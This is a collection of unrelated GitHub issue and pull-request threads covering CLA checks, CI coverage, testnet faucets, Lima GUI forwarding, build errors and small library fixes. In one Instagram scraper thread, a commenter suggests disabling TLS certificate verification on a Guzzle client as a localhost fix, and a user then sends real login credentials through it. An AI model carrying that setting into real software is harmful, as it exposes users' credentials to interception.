Reply to this email directly, view it on GitHubhttps://github.com/openweave/openweave-mfgn-examples/pull/5#issuecomment-671641027, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AP6UBUDI6ASWA3MEEZ4HDKLSAB7WJANCNFSM4P2OLFEQ.

hi, please help me to check again the CLA

From: googlebot<EMAIL_ADDRESS>Sent: Monday, August 10, 2020 11:33 PM
To: openweave/openweave-mfgn-examples<EMAIL_ADDRESS>Cc: Dung Nguyen<EMAIL_ADDRESS>Author<EMAIL_ADDRESS>Subject: Re: [openweave/openweave-mfgn-examples] [efr32] openweave-mfgn-examples initial commit for EFR32 (#5)
CAUTION: This email originated from outside of the organization. Do not click links or open attachments unless you recognize the sender and know the content is safe.
Thanks for your pull request. It looks like this may be your first contribution to a Google open source project (if not, look below for help). Before we can look at your pull request, you'll need to sign a Contributor License Agreement (CLA).
📝 Please visit https://cla.developers.google.com/ to sign.
Once you've signed (or fixed any issues), please reply here with @googlebot I signed it! and we'll verify it.

What to do if you already signed the CLA
Individual signers

It's possible we don't have your GitHub username or you're using a different email address on your commit. Check your existing CLA datahttps://cla.developers.google.com/clas and verify that your email is set on your git commitshttps://help.github.com/articles/setting-your-email-in-git/.

Corporate signers

Your company has a Point of Contact who decides which employees are authorized to participate. Ask your POC to be added to the group of authorized contributors. If you don't know who your Point of Contact is, direct the Google project maintainer to go/cla#troubleshoothttp://go/cla#troubleshoot (Public versionhttps://opensource.google/docs/cla/#troubleshoot).
The email used to register you as an authorized contributor must be the email used for the Git commit. Check your existing CLA datahttps://cla.developers.google.com/clas and verify that your email is set on your git commitshttps://help.github.com/articles/setting-your-email-in-git/.
The email used to register you as an authorized contributor must also be attached to your GitHub accounthttps://github.com/settings/emails.

ℹ Googlers: Go herehttps://goto.google.com/prinfo/https%3A%2F%2Fgithub.com%2Fopenweave%2Fopenweave-mfgn-examples%2Fpull%2F5 for more info.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHubhttps://github.com/openweave/openweave-mfgn-examples/pull/5#issuecomment-671641027, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AP6UBUDI6ASWA3MEEZ4HDKLSAB7WJANCNFSM4P2OLFEQ.


run smoke tests against docker from master

...to alert us to impending brokeness.

This should cater for two build types, one experimental and one mainline.


Fix Kubernetes CRD to use best practices, standards, status field and required tags for CRD generation

Codecov Report

Merging #57 (3afa4ea) into main (a656ffb) will not change coverage.
The diff coverage is 100.00%.

@@           Coverage Diff           @@
##             main      #57   +/-   ##
=======================================
  Coverage   83.43%   83.43%
=======================================
  Files          14       14
  Lines         682      682
=======================================
  Hits          569      569
  Misses         77       77
  Partials       36       36

Impacted Files
Coverage Δ

internal/prometheus/spec.go
95.34% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update a656ffb...3afa4ea. Read the comment docs.


Update components-json.md

Add docs for aliases.ui

Many Thanks :heart:
Also sorry for forgetting to add this part to the docs 🙏

My company supastarter is already sponsoring this project 🚀


[CI] separate unittest in parallel nodes

Issue #, if available:
Description of changes:
Separate modular unittests into parallel jenkins nodes, to speed up the tests
By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

@zhreshold any idea why CI failed for only two of the unittest runs? It looks like some kind of transient error.

Job PR-773-3 is done.
Docs are uploaded to http://autogluon-staging.s3-website-us-west-2.amazonaws.com/PR-773/3/index.html

@Innixma it's green now

@Innixma it's green now

Happy to merge this, but do you have any idea what occurred in the failed run? We'd ideally like to eliminate any CI instability.


commit translated contents

Docs Build status updates of commit 7371598:
:warning: Validation status: warnings

File
Status
Preview URL
Details

DocsLegal/index.md
:warning:Warning
View
Details

DocsLegal/GDPR.md
:white_check_mark:Succeeded
View

DocsLegal/TOC.md
:white_check_mark:Succeeded
View

DocsLegal/termsofuse.md
:white_check_mark:Succeeded
View

DocsLegal/index.md

Line 16: [Warning-InvalidFileLink] Invalid file link:(~/information-protection/software-license-terms).

For more details, please refer to the build report.
If you see build warnings/errors with permission issues, it might be due to single sign-on (SSO) enabled on Microsoft's GitHub organizations. Please follow instructions here to re-authorize your GitHub account to Docs Build.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
Note: Your PR may contain errors or warnings unrelated to the files you changed. This happens when external dependencies like GitHub alias, Microsoft alias, cross repo links are updated. Please use these instructions to resolve them.
For any questions, please:Try searching in the Docs contributor and Admin GuideSee the frequently asked questionsPost your question in the Docs support channel


Need for providing more options for Faucet

Describe the feature request
The available Hollesky testnet faucet sources are becoming almost drained. Testnet users finding it difficult to receive.
For now, the two only fuctional sources of  the Holesky testnet faucet are "Stakely", which is received through the  pasteof EOA wallet address and performing some social media task. The 2nd option left is through mining, which is more complicated to achieved.
Describe alternatives you've considered
There is a need for the removal of all the drained Holesky testnet faucets sources and/or make them functional.
Another alternative is bringing in more faucet sources such as sepolia, with the ability to supply Holesky testnet faucet.
Additional context
Additional context here.

Getting hollesky Ethereum for the Taiko testnet has become a very big issue. But I was able to discover a web3 website that gives 0.1 hollesky eth per day, which should be enough to carryout testnet tasks.
Website address is https://learnweb3.io/faucets/holesky/
All you have to do is create an account with the , input your eth address and solve the captcha. 0.1eth will automatically be sent to your wallet address. You can request for this every 24hr. I hope this helps a lot of user resolve the issue of unavailability of enough hollesky eth.

Thank you @Gwaram455  for bringing up this point. Atleast, i found a solution to getting faucet from this repo. Been struggling for the past 5 days. Thank you

When yhe faucet full and we need a few token testnet its very anyoying. That right need more option faucet

Thanks so much for raising this vital point about the need for members of the community to be adequately provided with faucet.

There are plenty of working Holesky faucets :) I am sure you will find one through either the docs, our discord or good old google.


Extend "Download build artifacts" and "Download Pipeline Artifacts" to allow build selection by retention status

Required Information
Type: Feature
Enter Task Name: DownloadBuildArtifactsV0 and DownloadPipelineArtifactV2
Environment

Server - Azure Pipelines
Agent - Private

Issue Description
We have a need to configure "Download build artifacts" or "Download Pipeline Artifacts"  to download artifacts only from retained builds. It would be nice to extent these tasks with "Download artifacts from retained builds only" option.

+1
The ability to select builds that are retained, for downloading their artifacts, would be perfect!

@damccorm, any ideas if this might be implemented anytime soon>

Hi, @avivanoff we triaged this issue and planning to start working on it in the near future.

@egor-bryzgalov, it has been almost five months. Any updates?

@egor-bryzgalov, it has been a years since "we triaged this issue and planning to start working on it in the near future". The issue has become stale twice. Do you have any plans implementing it?

@egor-bryzgalov, any updates?

@egor-bryzgalov, two years and counting…

@egor-bryzgalov, any updates?

@Lovakumar, @chrispat, @romil07, @damccorm, @eaaror, any updates?

Any updates?

Four years and counting. Any updates?


Added Steppy height generator.

Creates biome-agnostic landscapes like this:

Ref.: http://forum.mc-server.org/showthread.php?tid=1801

So how would you propose to change it?

I want to be able to do
MakeIntGen<cIntGenChoice> (a_Seed + 9, 10)
>>
>> MakeIntGen<cIntGenAddRnd> (a_Seed + 2, 2)

+ std::make_shared<cProtIntGenZoom> (a_Seed + 3,
+ std::make_shared<cProtIntGenZoom> (a_Seed + 4,
+

That looks even worse than my "pipelines", imho.

I think its clearer, and you don't have to worry about parenthesis matching. I can make it look like a unix pipeline if you'd rather. If you'd rather not then close the PR.

Using a pipe character could work. However, your change still reverts the logical flow; I guess I'll survive that. But the templating code needs improvement, it was completely unreadable.

Really, I always thought of the flow in you're code as backward. By code follows the convention in most European human languages and shells that data flows from left to right.

It follows normal math notation: "apply function f to the result of applying function g to x" is noted as "f(g(x))"

or in point-free style (g . f) (x)

I do agree with @worktycho here. We are using the decorator pattern anyway so why not making it easier and more readable?

So many undocumented generators everywhere!

So, can we merge this and then modify the syntax once @worktycho figures it all out? :)

So many generators...

Hey! :boom: @worktycho wake up! Wake up! It's your time to shine :laughing:

I'm fine to merge. My PR is a separate but related issue to the new generator.


Record and replay feature

Record and replay will be the interesting feature for integration testing phase
If we have a feature to set up a mock by proxying the real request and responses and later redo the integration testing using smockin

Thanks GiritharanR for the suggestion.
This in fact a feature I have been thinking of adding for a while and have on the existing roadmap.
With v1.5 now released, I should have more time to asses the design and feasiblity of delivering this.


Please Help - Fatal error: Uncaught GuzzleHttp\Exception\RequestException: cURL error 60: SSL certificate problem:

i have seen this error
please help me fast
Fatal error: Uncaught GuzzleHttp\Exception\RequestException: cURL error 60: SSL certificate problem: unable to get local issuer certificate (see https://curl.haxx.se/libcurl/c/libcurl-errors.html) for https://www.instagram.com

This error is not related to the lib, ask your hosting provider to update your CURL SSL Certificate

Hi,
if you're developing on localhost, simplest solution is to turn off SSL certificate verification.
use Phpfastcache\Helper\Psr16Adapter;
use GuzzleHttp\Client;

$instagram = Instagram::withCredentials(
    new Client(['verify' => false]),
    'username',
    'password',
    new Psr16Adapter('Files')
);

You can do that, by passing array with verify key that has value false into the constructor of GuzzleHttp\Client.
Related documentation.

Hi,
if you're developing on localhost, simplest solution is to turn off SSL certificate verification.
use Phpfastcache\Helper\Psr16Adapter;
use GuzzleHttp\Client;

$instagram = Instagram::withCredentials(
    new Client(['verify' => false]),
    'username',
    'password',
    new Psr16Adapter('Files')
);

You can do that, by passing array with verify key that has value false into the constructor of GuzzleHttp\Client.
Related documentation.

after i use this code
$instagram = \InstagramScraper\Instagram::withCredentials(new \GuzzleHttp\Client(['verify' => false]), 'username', 'password', new Psr16Adapter('Files'));
i get this error message
 Fatal error: Uncaught InstagramScraper\Exception\InstagramAuthException: Response code is 403. Body: <!DOCTYPE html> <html lang="en" class="no-js not-logged-in "> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title> Page Not Found • Instagram </title> <meta name="robots" content="noimageindex, noarchive"> <meta name="apple-mobile-web-app-status-bar-style" content="default"> <meta name="mobile-web-app-capable" content="yes"> <meta name="theme-color" content="#ffffff"> <meta id="viewport" name="viewport" content="width=device-width, initial-scale=1, minimum-scale=1, maximum-scale=1, viewport-fit=cover"> <link rel="manifest" href="/data/manifest.json"> <script type="text/javascript"> (function() { var docElement = document.documentElement; var classRE = new RegExp('(^|\\s)no-js(\\s|$)'); var className = docElemen in C:\xampp\htdocs\10\src\InstagramScraper\Instagram.php on line 1820

Hi,
did you replace username and password with the actual credentials? That's my first and only guess, based on that not-logged-in class in the html.

Hi,
did you replace username and password with the actual credentials? That's my first and only guess, based on that not-logged-in class in the html.

yes i replace my username and password

Can't be of more help without more details, sorry.

Can't be of more help without more details, sorry.

what details you need ?


Soundfile doesn't yet support Apple Silicon

This currently blocks pyFLAC supporting Apple Silicon. See https://github.com/bastibe/python-soundfile/issues/325

Closed in #14


ci: Use Node 22 for action

Node 16 is deprecated.

Thanks for the PR :)
Would you mind adding a quick entry to CHANGELOG.md about the version bump? If not I can do it as well.

@schwma Please let me know if this is how you'd like it to be. :)

Sorry, I don't want to create too much work for you, but could you please move the entry to the ### Changed section under ## Version 1.1.0 - tbd and remove the Version 2.0.0 section?
I'll update the changelog and create the release in another PR

Done. :)

Great, thank you very much! :)

Turns out GHA didn't like that 😄
Error: System.ArgumentOutOfRangeException: Specified argument was out of the range of valid values. (Parameter ''using: node22' is not supported, use 'docker', 'node12', 'node16' or 'node20' instead.')

https://github.com/schwma/parse-changelog-action/actions/runs/9664692021/job/26659962444
Btw, I created a release https://github.com/schwma/parse-changelog-action/releases/tag/v1.2.0, but the action to create v1 and latest tags didn't run as expected. I'm trying to get those to update as well.

@bugwelle FYI, I manually fixed the latest and v1 tags for now. They both now point to v1.2.0.

Thanks. Sorry about that! 😅

No problem! I didn't expect that either 😄


Cannot build the unity project

Hi,
When I tried to build the project in unity, it showed like that.

I just open your project in unity 2018.1.31f and build it for Universal Windows Platform.
Could you please help me to check if there is anything wrong with my building or is there anything else I need to install in unity?
Thank you very much and hope you have a good day.

Looks like you are missing the WinML APIs so likely the Windows SDK 17xxx is not installed on your machine.
See the Readme:
On your development machine you also need at least Unity 2017 or 2018 and Visual Studio 2017 with the Windows SDK for Build 17xxx / 1803 / April 2018 / RS4 installed.

Thank you for your reply.
I have updated my pc to version 1803 and got 10.0.17134.0 in visual studio. For now, I can build a solution from unity but when I try to build the solution in visual studio, it shows like this.

Could you help me check why is it or I use sdk wrongly?
Thank you very much for your help

Seems like you are compiling against the wrong .NET SDK. Make sure to use Visual Studio 2017 and the right .NET SDK like defined in the unity player settings. Also try Unity's Build and Run instead of just Build and see if that works.


Stac support

STAC-API for datacube-explorer
This is a minimalist implementation of STAC-API spec for datacube-explorer. It consists of a single endpoint /stac/search  where HTTP POST is a required implementation while HTTP GET is an equivalent optional implementation. The search fields bbox (bounding box) and time are required fields for STAC-API while product field is made required for our purposes. The endpoint returns a list of STAC items that matches the query parameters in a GeoJson FeatureCollection format. If the query has more datasets that could be sent in a single return, paging is supported via a link in the links field of GeoJson FeatureCollection. The STAC-API spec could be found here.
There are no changes done to datacube-explorer front-end rendering aspects and therefore testing could be done directly from the browser and/or using curl. The API is implemented as a Flask blueprint in _stac.py.

Sure will address those. My bad! I missed parsing bbox!

Hi Jeremy,
I have done changes and refactoring and followings are comments about those:

Projection code (to epsg:4326)  refactored so that it works with broad number of projection strings.
next page link code refactored so that it works with more edge cases.
product is no longer compulsory and associated refactoring done.
bbox parsing done which I missed earlier.
Added user error messages instead of relying on system error messages.
Added tests for the two products that are populated for the test run (wofs_albers and high_tide_comp_20p) including testing next link

However, there are few issues that needed unfulfilled at this stage:

blank asset links: For datasets in .nc files, metadata_doc returns empty band path names. We don't have a clear solution to this at this stage.
There is a STAC validator that could be used to validate the entire STAC item but we have to avoid using it until we have a clear direction of how we overlay a conceptual STAC catalog on datacube database .
The root page is meant to be the optional danamic STAC catalog which is a substantial work item that overlap with above issues so hope implement it in a separate PR.
STAC API spec is defined in terms of openAPI so I believe there could be schema validators out there but not sure.

Please let me know if you see further changes that you see good to have.

Hi Jeremy,
I have added hard a limit and updated tests for testing GET, POST, links, limit, product, and assets. Also note that I have added JSON schema validator of STAC assets to tests as well. The code that handle the limit is refactored so that it works when no product is specified.

Hi Jeremy, I may have now added all the tests you wanted

Hi Jeremy,
Yes limit had to be taken out from the query since we no longer enforce the product and the limit value is not correct. Also since we filter invalid datasets, the limit would not be correct either. If the removal effect response time we could put some larger value greater than MAX_DATASETS. Counting is done on validated datasets. Next link will not be present if we reach MAX_DATASETS or validated dataset generator is empty. It could it be timeout affecting the generator or I don't seem to be able to reproduce that context.

I'm doing some work to merge this stac logic with the existing geojson api, as long-term we wont need both, and so we may as well consolidate effort earlier.

Yes I also think that's a good idea.

I've pushed the (big! sorry) merge of the two backends. It fixes many of the paging issues and adds more tests.
It also includes:

simple implementations of the root /stac, product catalogs, and Item pages.
many changes to the Item structure/properties.

but there's still  a lot more of our metadata we could map across. We probably need to discuss this and test it on more real-world datasets.

all search fields (bbox/time) are now optional. They needed to be for the other api.
the search now uses Explorer's spatial table.

Two areas that still need improvement:

error messages should be returned json (as defined in stac). We return http error codes, but only plain-text errors.
eo:bands implementation on Items/Collections. I started this, but my eo:bands array are currently strings (which datacube uses for band identification), and stac expects them to be mapped to integers.

... but I think it's good enough to merge this pull request as an MVP. We can make further improvements (in hopefully smaller size) in future PRs.


Add documentation on how to run graphical applications

Description
Currently lima has information on how to run a command-line application.
Either using the nerdctl.lima wrapper, or starting it from the lima shell.
But there is no example on how to run a GUI app, for instance over X11 ?
This can be done both in the QEMU display, or remotely over SSH shell.

Typical local qemu DISPLAY: :0 (from startx)

Typical remote host DISPLAY: localhost:10.0 (from ssh -X)

Both approaches require some setup of the VM, and some added docs.
See discussion:

https://github.com/lima-vm/lima/discussions/987

Boot2Docker X11:

https://gist.github.com/afbjorklund/cb63251c43f73a4314ada904ae8f8d87 (2017)

Preferrably, this should link to more generic documentation for containers.
For instance, accessing the applications with x11docker --backend=nerdctl.
The VM doesn't have so many "secrets" to leak, but the host X11 (alt 2) might
There is lots of detailed info available at: https://github.com/mviereck/x11docker
This command (x11docker) provides improved security, over the more naive approach:
https://github.com/mviereck/x11docker/wiki/Short-setups-to-provide-X-display-to-container

Unfortunately none of the mentioned x11docker methods work with nerdctl backend.
Then again, it did say that it was experimental (it tries to use both --rm and -d)

Container backends:
By default x11docker tries to run docker.
To change the default --backend=docker to another one like --backend=podman, create a default file for --preset.
Recommended for rootful container backend: docker or podman
Recommended for rootless container backend: podman
Only podman allows option --home in rootless mode yet.
Only podman provides useful file ownerships with option --share in rootless mode yet.
--backend=nerdctl is experimental yet. It supports rootful and rootless mode. nerdctl is in heavy development stage.

Guess it is back to running as root and privileged and mounting sockets and stuff.

In addition to the QEMU displays (gtk/sdl/cocoa), it is also possible to use a VNC display (#1003)
It can be even be accessed in a browser using noVNC, if there is no local X11 server or VNC client.

An app I'm running uses GLFW (an openGL library) and crashes with error
Glfw Error 65543: GLX: Failed to create context: BadValue (integer parameter out of range for operation)
This seems to be a graphics driver issue, with the typical solution involving updating drivers. How should I approach this from within lima? I am running on a macbook air M2 chip

I'd like to share my experience of trying to get this to work. Perhaps this will be helpful to writing documentation.
I tried getting Lima to work with X11 forwarding. It took me embarrassingly long to realize that I need to run limactl edit and add the following to the YAML:
ssh:
  forwardX11: true

This was very effective, I can now run lima xterm and it works.
Unfortunately, I ran into they annoying issue https://github.com/lima-vm/lima/issues/2099, but it's not a complete showstopper. However, it's enough of a problem that I'm not sure this capability of Lima is ready to be advertised to the world.
(Before finding the YAML file, I tried various versions of ssh -X -F /Users/ilyagr/.lima/default/ssh.config lima-default which did not work at all. At first I thought this can be solved by the likes of xhost +, but I now think ssh did not even try to establish forwarding for some reason. I'm not sure why.)

I also tried to set up VNC by adding
video:
  display: vnc

to my config. This was not successful; I can connect to the machine and open the display, but the display simply says "Display output is not active" on a black screen.
This is on a QEMU VM, IIUC there is no chance of this working on a VZ VM.
I tried sudo apt install gnome and restarting the VM; it didn't help. I am not too familiar with this aspect of Linux system administration, so I gave up.

I also briefly tried to use xrdp with Microsoft Remote Desktop client for Mac OS. I couldn't immediately figure out how to configure xrdp so that I can log in to the correct user account that Lima sets up to not have a password. In other words, I got to its login screen and no further. I may try this again.
  My config details
You can see #2099 for additional details about my config.
My full lima.yaml:
# This template requires Lima v0.7.0 or later
images:
  # Try to use release-yyyyMMdd image if available. Note that release-yyyyMMdd will be removed after several months.
  - location: "https://cloud.debian.org/images/cloud/bookworm/20231013-1532/debian-12-genericcloud-amd64-20231013-1532.qcow2"
    arch: "x86_64"
    digest: "sha512:6b55e88b027c14da1b55c85a25a9f7069d4560a8fdb2d948c986a585db469728a06d2c528303e34bb62d8b2984def38fd9ddfc00965846ff6e05b01d6e883bfe"
  - location: "https://cloud.debian.org/images/cloud/bookworm/20231013-1532/debian-12-genericcloud-arm64-20231013-1532.qcow2"
    arch: "aarch64"
    digest: "sha512:b3754e8c4b474fad2f0bb6d483158cc8e6661cf481dcd7a8c55cc128acb4cd2d829d4afe024462ae45028f33ab977d69737d820c8f6c56800cc133cdcfb5874d"
  # Fallback to the latest release image.
  # Hint: run `limactl prune` to invalidate the cache
  - location: "https://cloud.debian.org/images/cloud/bookworm/latest/debian-12-genericcloud-amd64.qcow2"
    arch: "x86_64"
  - location: "https://cloud.debian.org/images/cloud/bookworm/latest/debian-12-genericcloud-arm64.qcow2"
    arch: "aarch64"
mounts:
  - location: "~"
  - location: "/tmp/lima"
    writable: true
ssh:
  forwardX11: true
  forwardAgent: true
video:
  # QEMU display, e.g., "none", "cocoa", "sdl", "gtk", "vnc", "default".
  # Choosing "none" will hide the video output, and not show any window.
  # Choosing "vnc" will use a network server, and not show any window.
  # Choosing "default" will pick the first available of: gtk, sdl, cocoa.
  # As of QEMU v6.2, enabling anything but none or vnc is known to have negative impact
  # on performance on macOS hosts: https://gitlab.com/qemu-project/qemu/-/issues/334
  # 🟢 Builtin default: "none"
  display: vnc
  # VNC (Virtual Network Computing) is a platform-independent graphical
  # desktop-sharing system that uses the Remote Frame Buffer protocol (RFB)
  vnc:
    # VNC display, e.g.,"to=L", "host:d", "unix:path", "none"
    # By convention the TCP port is 5900+d, connections from any host.
    # 🟢 Builtin default: "<IP_ADDRESS>:0,to=9"
    display: null

Thank you for making Lima! :)

Adding my experience here. I prefer to run GUI apps in Lima via X11 forwarding, as described by @ilyagr ("Attempt 1") in the previous comment.
However, in my case (running Ubuntu in Lima), apps like Chromium and Firefox weren't running, and failing with errors like:
Missing X server or $DISPLAY
or
X11 connection rejected because of wrong authentication.
Error: cannot open display: localhost:10.0
Which is weird, because setting up an X11 connection and $DISPLAY env var is exactly what forwardX11: true in lima.yaml is supposed to do.
After some troubleshooting, it turns out this issue occurs because Ubuntu now distributes Chromium and Firefox as Snap packages. The issue and fix are described in this StackExchange post:

The workaround is to simply do: export XAUTHORITY=$HOME/.Xauthority before running the remote X11 application.

This fixed the problem for me, and I've added that line to a .profile file in my home dir so that I don't need to set the XAUTHORITY var by hand every time.
Hopefully this provides enough information to help others with similar problems running Snap-packaged apps in Lima!


Services: first build: abs added

Linter check found the following problems:
The following problems have been found:
ERROR: /tmp/abs_3fxw33ewsd/clone/recipe/meta.yaml:28: host_section_needs_exact_pinnings: Packages in host must have exact version pinnings, except python build tools.
ERROR: /tmp/abs_3fxw33ewsd/clone/recipe/meta.yaml:29: host_section_needs_exact_pinnings: Packages in host must have exact version pinnings, except python build tools.
ERROR: /tmp/abs_3fxw33ewsd/clone/recipe/meta.yaml:29: host_section_needs_exact_pinnings: Packages in host must have exact version pinnings, except python build tools.
ERROR: /tmp/abs_3fxw33ewsd/clone/recipe/meta.yaml:30: host_section_needs_exact_pinnings: Packages in host must have exact version pinnings, except python build tools.
ERROR: /tmp/abs_3fxw33ewsd/clone/recipe/meta.yaml:31: host_section_needs_exact_pinnings: Packages in host must have exact version pinnings, except python build tools.
WARNING: /tmp/abs_3fxw33ewsd/clone/recipe/meta.yaml:342: documentation_overspecified: Using doc_url and doc_source_url is overspecified
WARNING: /tmp/abs_3fxw33ewsd/clone/recipe/meta.yaml:342: license_file_overspecified: Using license_file and license_url is overspecified.
WARNING: /tmp/abs_3fxw33ewsd/clone/recipe/meta.yaml:345: documentation_overspecified: Using doc_url and doc_source_url is overspecified
WARNING: /tmp/abs_3fxw33ewsd/clone/recipe/meta.yaml:345: license_file_overspecified: Using license_file and license_url is overspecified.
Errors were found


can't build?

fresh git clone
cd chia-plotter
./make_release.sh
-- Found Git: /usr/bin/git (found version "2.30.2")
-- The C compiler identification is GNU 10.3.0
-- The CXX compiler identification is GNU 10.3.0
-- The ASM compiler identification is GNU
-- Found assembler: /usr/bin/cc
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Check for working C compiler: /usr/bin/cc - skipped
-- Detecting C compile features
-- Detecting C compile features - done
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Check for working CXX compiler: /usr/bin/c++ - skipped
-- Detecting CXX compile features
-- Detecting CXX compile features - done
-- Architecture: x86_64
CMake Error at CMakeLists.txt:17 (add_subdirectory):
The source directory
/home/kro/chia-plotter/lib/bls-signatures

does not contain a CMakeLists.txt file.
-- Looking for pthread.h
-- Looking for pthread.h - found
-- Performing Test CMAKE_HAVE_LIBC_PTHREAD
-- Performing Test CMAKE_HAVE_LIBC_PTHREAD - Failed
-- Looking for pthread_create in pthreads
-- Looking for pthread_create in pthreads - not found
-- Looking for pthread_create in pthread
-- Looking for pthread_create in pthread - found
-- Found Threads: TRUE
-- Configuring incomplete, errors occurred!
See also "/home/kro/chia-plotter/build/CMakeFiles/CMakeOutput.log".
See also "/home/kro/chia-plotter/build/CMakeFiles/CMakeError.log".
make: *** No targets specified and no makefile found.  Stop.

The README contains the answer to your question.
git submodule update --init

my bad.  thanks.


Fix clearing callinfo on inlined frames in a try

We inline functions into try, and clear the callinfo of all inlined frames until the enclosing try frame on a throw.
But if the inlined function calls into the interpreter and a throw happens, we do not want to clear the inlinee frame info of outer inlined frames.
In the failing test case, we inlined a function that called into an async function in the interpreter, we incorrectly cleared all the inlined frames until the enclosing try.
And on a following bailout from inside the inlined code in the try, we ended up with cleared callinfo while executing BailOutRecord::BailOutInlinedHelper.
Fixes OS#14226300

This fix does that stack walk in the catch handler of the JIT TryCatch helper as opposed to doing it in the interpreter. Because right now, we do not mark try frames
of the interpreter on the stack of try-catches we maintain. Doing it in the catch handler we initialize the stack walker from the throwing function and clear
inlinee frames till the most recent enclosing try jit frame.

@rajatd The latest commit implements the design we discussed.  I would leave a comment to add return address of throw to the exception context and pass that in here.

Refers to: lib/Runtime/Language/JavascriptExceptionOperators.cpp:927 in 8d7bf1c. [](commit_id = 8d7bf1c66fac92f56c45e6bea9b9f0763586db33, deletion_comment = False)


How to position "powered by google"?

Add this style to styles prop
 poweredContainer: {
     justifyContent: 'center'
 }


World won't export

i made this world and load it into MiEx, and when it was about to export it gave me this error

here is the log
log.txt

According to the log, you are using the 32 bit version of Java. This is fine for small exports, but for anything somewhat larger you'll run out of memory since the 32 bit version of Java can only use 4GB max, which is what's happening in your case.
I recommend uninstalling the 32 bit version of Java and installing the 64 bit version. That should fix your issue


New release

0.2.4 won't build against base 4.10, because it specifies an upper bound of <0.12 on vector, which transitively specifies a version bound of <4.10 on base. I see the version has already been bumped on master; it would be nice to have that pushed to hackage. (Also, the URI stuff looks nice).

Released as v0.3.0. Thanks for the reminder!


add LUT6_2 support

LUT6_2 is not a true BEL, but a macro containing both LUT6 and LUT5 BELs. The transformation from LUT6_2 to LUT6+LUT5 should be handled by NextPNR without needing to update this.

@hansemro
yes, you are right.
the rtl of the LUT6_2 in vivado is LUT6+LUT5.
i need to find another way to fix it.

@lehaifeng000 Please create an issue with a simple demo at https://github.com/openXC7/nextpnr-xilinx/issues. It will be helpful to know what the issue is in nextpnr-xilinx.

@hansemro yes, you are right. the rtl of the LUT6_2 in vivado is LUT6+LUT5. i need to find another way to fix it.

OK, I will close this issue then.
Thanks for your efforts


H3: simplify quinn-h3::proto::headers::Header::into_request_parts()

Use Uri::from_parts() instead of several if let Some(_part) = self.part.

@daxpedda tried and it does simplify anything. Closing.


Couchpotato History date

The couchpotato module shows a weird Histroy date for every event: NaN-NaN-NaN NaN:NaN

Thanks for reporting the issue. I have no idea why that happens. It it still like that?

Yes it is.

Is cp installed on a windows computer?

No, i'm running Ubuntu Server 14.04. With the latest version of CP

Fixed in the last commit

Tried you commit. It's not yet totally fixed. I get "2015-00-24 14:47" for a snatched movie. 00 should be 01 (month).


Failed tests in sbt return a success

I wrote a small sbt task that takes the result of the test task and checks for incomplete, something like this:
myTask := Def.task( {
    (test in Test).result.value match {
        case Inc(inc) =>{
            println("Tests Failed")
            throw inc
        }
        case Value(v) => {
            println("Tests Passed.")
        }
    }
} ).value

In team city, if I ssh on to an agent and run this sbt task manually, the result is "Tests Failed". But if i run the same task through the team city runner, I get "Tests Passed".

Generally for this, we need the test task to fail (with an exception), which should correct @rich-nguyen's problem above, and a related of problem of mine, which is we need the sbt test command to fail with a exit code of 1, to fail the build in teamcity (we run it as part of a shell script).
I've found that the plugin explicitly disables failing the test task with an exception by overwriting the testResultLogger in the test task in 6c39634d256b681fea03bbd1ab3fe0dad34da0b2. Why is this explicitly disabled? /cc @shkate
As a workaround, I've found that setting the testResultLogger back to the default, causes the test task to fail as expected:
testResultLogger in (Test, test) := TestResultLogger.Default


After saving a newly created Model update the instance with the Id

After calling .save() on a model, and we send a POST to create the new entity. The model should be updated to reflect this newly created instance.

The id should be correctly set onto the model.
Reload a fresh copy of this instance to get the default values that were added.

@see dhis2/maintenance-app#14

Saving of the id is being done correctly. The model however is not being re-loaded. Perhaps that is not really required though, we we can probably assume that the RESTful state sent to the server should be identical.
https://github.com/dhis2/d2/blob/5cea07a5e9b49d0c970686433fbf172d68d0a667/src/model/ModelBase.js#L49-L50


Allow the use of ints

Hello devs,
seeing as luhn must be numbers anyway, surely it's a better idea to allow being able to use the verify, generate, and append with integers?

Created PR.

I maintain a different check digit project where we only allow strings. This is because what happens if the number starts with 0?
As a string, the number 0 is still maintained. As an integer, strange things start to happen. For example:
SyntaxError: leading zeros in decimal integer literals are not permitted; use an 0o prefix for octal integers

This goes against PEP 3127. Let me know if you have any questions and I'd be happy to help.


Fix ansible playbook normalization

Playbook can be not only list and string, it can also be a tuple, when the preparation is specified on CLI.
Fixes #3051
Pull Request Checklist

[ ] implement the feature
[ ] write the documentation
[ ] extend the test coverage
[ ] update the specification
[ ] adjust plugin docstring
[ ] modify the json schema
[ ] mention the version
[ ] include a release note

Closing in favor of #3053


fix: go back properly and don't allow user to close non cancellable l…

Building Leather at commit f28b981

…edger actions, closes #5143

@coderabbitai review

@kyranjamie : Opening this as a DRAFT as I made some more changes I am not sure you will agree are improvements.  I can pick out the change to fix this specific bug as needed. I was using this as an exercise to help me get up to speed with our Ledger code.
When working on changing the dialogs/containers, we agreed to remove the text that was saying Ledger device in use but kept a disabled X. With my changes users could still click outside of the dialog and have it closed which is not good.
I have made changes so that when we are awaiting specific actions, the Dialog is not closable and we don't show a disabled X. This will stop the dialog from being able to be closed while certain things are happening:
https://github.com/leather-wallet/extension/assets/2938440/6b9977f7-b31e-4700-8404-cd563e828ed4
It's not perfect though as users can still close from this interim screen before accounts are loaded:

If they do that, it continues to work but the UI flashes until the accounts are loaded trying to show please-wait from the get-started route

Thanks Pete. Will QA later, I've lost my USB-C cable

Thanks, no rush, just wanted to share WIP so far


Example for using collapsible in sectionList

Hi, it's a great library. However I wonder if you can provide some example of using it in react native SectionList. also allowing only one section to open at a time and other are closed when clicked.
for example like that https://www.npmjs.com/package/react-native-expandable-section-list
Thanks again.

I don't this library will be able to work with react native's SectionList as they are doing the same things.
You can just use the Accordion from this package. Here's an example https://snack.expo.io/rkuMoHzVm

Closing as inactive. Feel free to message or create a new issue if this is still a concern.


Multiple deploy keys does not work during docker image build

